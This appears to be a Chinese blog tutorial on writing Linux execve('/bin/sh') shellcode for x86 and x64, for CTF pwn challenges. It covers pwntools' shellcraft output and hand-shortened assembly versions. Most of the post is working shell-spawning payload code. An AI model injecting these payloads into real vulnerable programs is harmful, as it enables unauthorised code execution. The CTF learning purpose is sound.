当前位置: 首页 > 工具软件 > pwntools > 使用案例 >

linux上的shellcode写法(pwntools,手写shell)

太叔烨霖
2023-12-01

pwntools

提示

在pwntools下,其实是可以自动生成shellcode脚本的,我们先看一下,利用pwntools的shellcode要注意的是你要表明系统和版本不进行表明生成的是32位的。

from pwn import *
print(shellcraft.sh())
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

如果进行表明系统,那么结果是不一样的,这个自动输出的是32位的shellcode,我们表明一下系统之后输出shellcode。

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
print(shellcraft.sh())
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

x86

先开始根据x86的进行分析

    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80
    push 0x68//h
    push 0x732f2f2f//s///
    push 0x6e69622f//nib/

这些连在一起,则生成shell是/bin///之后下面就是调用,mov ebx,esp这步就是必须存在的,之后中间是调用的方法,最后是调用SYS_execve来运行这个/binsh但是如果最后在输入的时候长度不够写入这么多的时候,这个脚本就要更变,在针对没开NX保护的程序的时候,我们可以想着在栈内执行这些,长度还不用,那么我们要进行一个更改。
相关题目:PicoCTF_2018_shellcode

x64

这里就要说到调用规则了,x64下,调用规则是rdi,rsi,rdx,rcx,r8,r9,需要按照这个去调用,

    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

前面还是/bin///sh这里没变,后面开始就是调用规则,rsp给rdi,这是第一个参数,之后进行调用,中断int 0x80变成了syscall
相关题目:ciscn_2019_n_5

手写shell

x86

其实手写shell其实就是大概的对代码进行一个缩短的改造,达到目的即可

eax = '0xb'
ebx = '/bin//sh'
ecx = '0'
edx = '0'
int 0x80//中断

往里面去添加/bin/sh,ecx和edx清空,eax为0xb,ebx保存esp的值
那么shellcode就可以写出来

xor eax,eax
xor ebx,ebx
xor edx,edx
xor ecx,ecx
push edx
push 0x68732f2f
push 0x6e69622f 
mov ebx,esp
mov al,0xB
int 0x80

相关题目: ciscn_2019_s_9

x64

这个还是调用规则的问题,最后要变成想要的样子。

rdi = '/bin//sh'
rsi = '0'
rdx = '0'
rax = '0x3B'
syscall

按照这个变化即可

xor rdx, rdx     
xor rsi, rsi
mov rbx, 0x68732f2f6e69622f  
push rbx
push rsp 
pop rdi                       
push 0x3b
pop rax//0x3b
syscall

最后可以变化成想要的结果。

 类似资料: